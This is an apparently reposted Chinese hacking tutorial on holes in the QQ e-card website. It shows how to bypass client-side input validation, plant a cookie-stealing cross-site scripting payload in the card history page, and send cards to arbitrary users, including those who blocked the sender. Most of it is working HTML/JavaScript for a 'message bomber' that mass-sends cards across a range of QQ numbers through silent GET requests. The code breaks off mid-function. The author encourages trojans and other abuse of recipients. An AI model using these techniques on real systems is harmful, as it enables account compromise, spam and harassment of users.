QQ贺卡漏洞联络聊天 教程
|
| 论文作者:佚名 论文来源:不详 论文发布时间:2006-6-19 20:19:21 论文发布人:chjchjchj |
减小字体
增大字体
QQ贺卡漏洞
QQ贺卡漏洞--------------------作者:不知道
说实话,我用QQ仅限于和朋友联系,因此对于QQ的一些增值服务一直不太感兴趣。最近,因无聊至极,去QQ网站逛了一圈,于是有了本文。唉,服务越多,漏洞越多呀...... 曾经QQ贺卡心语中可以插入HTML代码,但漏洞公布后,腾讯公司迅速进行了修补,哎,MM再也收不到我自己设计的贺卡啦(:!至于修补结果如何?大家和我一起看看吧...... 用微软的IE(为了便于测试,请不要用其它浏览器)登录QQ网站后,点击“贺卡”,进入QQ贺卡站http://ecard.qq.com/index.html?PcacheTime=1077716071,找一张价格为0个Q币的贺卡(我是穷人!),如红日(cardid=jr1249),点击“发送”,进入“贺卡样式”表单页,当你在贺卡心语中加入了“'<>”后就会得到一个警告框:“对不起,您在‘祝福语’中输入的内容中不能含有 \', <, > 等非法字符,请检查删除后再提交。”,我查看源码后发现框架main中的函数validate()是负责检查的,于是我在地址栏中输入代码: javascript:alert(main.validate=function (){return;}) 在弹出一个对话框后在试试,是不是可以任意输入了?我输入了如下代码: <script>alert(document.cookie)</script> 然后发给自己,马上收到了,可是其中的<>都变成了+号,看来服务器端显示贺卡的qqcard_user_showsendedcard又对其进行了过滤,实验失败!可当我在网页中打开“收卡记录”时,天,我看到弹出了可爱的对话框显示着我的Cookie,看来腾讯只是把贺卡在QQ客户端显示时的代码修改啦。而网站上用于管理贺卡的qqcard_recieverecord却没有修改,多好的程序员呀!呵呵,其他的破坏活动就让你们去做吧!可以发木马,可以让他无法删除自己这个贺卡,还可以把他的其他受到的贺卡全藏起来,全凭你的爱好拉! 本来到此也算行啦,可当我在收卡人的QQ号中,随便填上一个号码发送后,我竟然收到系统广播:“您好,QQ贺卡站悄悄告诉您,您发给好友:*(*******)的QQ贺卡,他(她)已经收到了!”,马上我察觉到也许我可以给任意QQ发送贺卡,经和Eric测试,果然如此:你不仅可以给不是你的好友的QQ(即使他的身份验证设为‘不允许任何人把我列为好友’)发送,而且你可以给那些把你拖进黑名单的QQ发送可爱的QQ贺卡。哈哈,QQ消息群发器[轰炸机]即将在我手中诞生…… 于是我再一次查看网页代码,在“选择支付方式”也就是“贺卡寄送单”这页我发现了如下代码: ...... <form name="form1" method="put" action="/cgi-bin/qqcard_finish_consume"> ...... <input type="hidden" name="recvuin0" value="76416026"> ...... </form> 还有一句javascript代码: document.form1.submit(); (由于版面关系,我就不列全啦,免得Eric说我骗稿费,请读者自行去QQ网站查看!) 这不就是发送贺卡的表单吗?我把form标签的action属性填完整变为: action="http://ecard.qq.com/cgi-bin/qqcard_finish_consume" 然后另存为c:\qqcard.htm,在同一个IE窗口(注意必须是同一个)中打开file:///c:\qqcard.htm,点击“免费发送”,哈哈我又收到了,看来还存在本地提交表单漏洞呀!更好办啦! 接下来要解决当你发送一个贺卡后会弹出一个对话框的问题,你不会想这样点击来群发吧?不累死你!我把表单发送方式put改为get,经测试同样可以发送,怎样去掉弹出的对话框呢?幸好javascript还有一个new Image()对象,用于预先下载图片,这次用上它啦!顺便提一句,跨站攻击中可用它来得到Cookie而不弹出窗口。 我做的简易QQ消息轰炸机[群发器]代码如下(懒得写程序,写个网页用用吧!): >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> </head><body> <br>背景颜色:<input type="text" name="bgcolor" value=""> <br>字体颜色:<input type="text" name="wordcolor" value=""> <br>排列方式:<input type="text" name="arraystyle" value="0"> <br>背景图案:<input type="text" name="bgimage" value="/images/bg/2.jpg">
<br>收卡人姓名:<input type="text" name="recvnick0" value="你好"> <br>收卡人Email:<input type="text" name="recvemail0" value=""> <br>收卡人QQ:<input type="text" name="recvuin0" value="76416026"> <br>手机通知:<input type="text" name="recvmob0" value=""> <input type="hidden" name="recvnick1" value=""> <input type="hidden" name="recvemail1" value=""> <input type="hidden" name="recvuin1" value=""> <input type="hidden" name="recvmob1" value=""> <input type="hidden" name="recvnick2" value=""> <input type="hidden" name="recvemail2" value=""> <input type="hidden" name="recvuin2" value=""> <input type="hidden" name="recvmob2" value=""> <input type="hidden" name="recvnick3" value=""> <input type="hidden" name="recvemail3" value=""> <input type="hidden" name="recvuin3" value=""> <input type="hidden" name="recvmob3" value=""> <input type="hidden" name="recvnick4" value=""> <input type="hidden" name="recvemail4" value=""> <input type="hidden" name="recvuin4" value=""> <input type="hidden" name="recvmob4" value="">
<br>对方收到贺卡后通知我:<input type="checkbox" name="recvnotify" value="1" checked> <br>即时发送:<input type="radio" name="sendway" value="0" checked> <input type="hidden" name="year" value="2004"> <input type="hidden" name="month" value="2"> <input type="hidden" name="day" value="24"> <input type="hidden" name="hour" value="11"> <br>贺卡cardid:<input type="text" name="cardid" value="aq0156"> <br>在贺卡上带上我的QQ秀虚拟形象 :<input type="checkbox" name="addqqshow" value="y" checked> <!-- DIY card special arguments --> <input type="hidden" name="sayText" value=""> <input type="hidden" name="cardInfo" value=""> <!-- DIY card special arguments --> <input type="hidden" name="noframe" value=""> <input type="hidden" name="mobPay" value="no"> <input type="hidden" name="accPay" value="no"> <br>群发起始QQ号:<input type="text" name="qqqs" value="76416000"> 群发终止QQ号:<input type="text" name="qqzz" value="76416100"> <input onclick='QQq=qqqs.value-0;QQz=qqzz.value-0;QQqf();' type=button value=群发消息> <script> var QQq=0;var QQz=0; function QQqf(){ if(QQq<=QQz){ url="http://ecard.qq.com/cgi-bin/qqcard_finish_consume?bgcolor=" +bgcolor.value+"&wordcolor="+wordcolor.value +"&arraystyle="+arraystyle.value+"&bgimage="+bgimage.value +"&benison="+benison.value+"&recvnick0="+recvnick0.value +"&recvemail0="+recvemail0.value+"&recvuin0="+QQq +"&recvmob0="+recvmob0.value+"&recvnick1="+recvnick1.value +"&recvemail1="+recvemail1.value+"&recvuin1="+recvuin1.value +"&recvmob1="+recvmob1.value+"&recvnick2="+recvnick2.value +"&recvemail2="+recvemail2.value+"&recvuin2="+recvuin2.value +"&recvmob2="+recvmob2.value+"&recvnick3="+recvnick3.value +"&recvemail3="+recvemail3.value+"&recvuin3="+recvuin3.value +"&recvmob3="+recvmob3.value+"&recvnick4="+recvnick4.value +"&recvemail4="+recvemail4.value+"&recvuin4="+recvuin4.value +"&recvmob4="+recvmob4.value+"&sendnick="+sendnick.value +"&recvnotify="+recvnotify.value+"&sendway="+sendway.value +"&year="+year.value+"&month="+month.value+"&day="+day.value +"&hour="+hour.value+"&cardid="+cardid.value+"&addqqshow="+addqqshow.value +"&sayText="+sayText.value+"&cardInfo="+cardInfo.value+"&noframe="+noframe.value +"&mobPay="+mobPay.value+"&accPay="+accPay.value; new Image().src=url;//利用get方式发送贺卡(祝福语不要太长,因为get有长度限制) QQq++;
|
|
|
|
|
|
|
| ∷相关技术评论 |
(评论内容只代表网友观点,与本站立场无关!) [查看发表评论...] | |
|
|
| |
站内广告 |
| |
|
站内搜索 |
| |
栏目导航 |
| |
|
|
相关技术 |
 |
|
本月热门 |
| |
|
|
本日热门 |
| |
|
|
|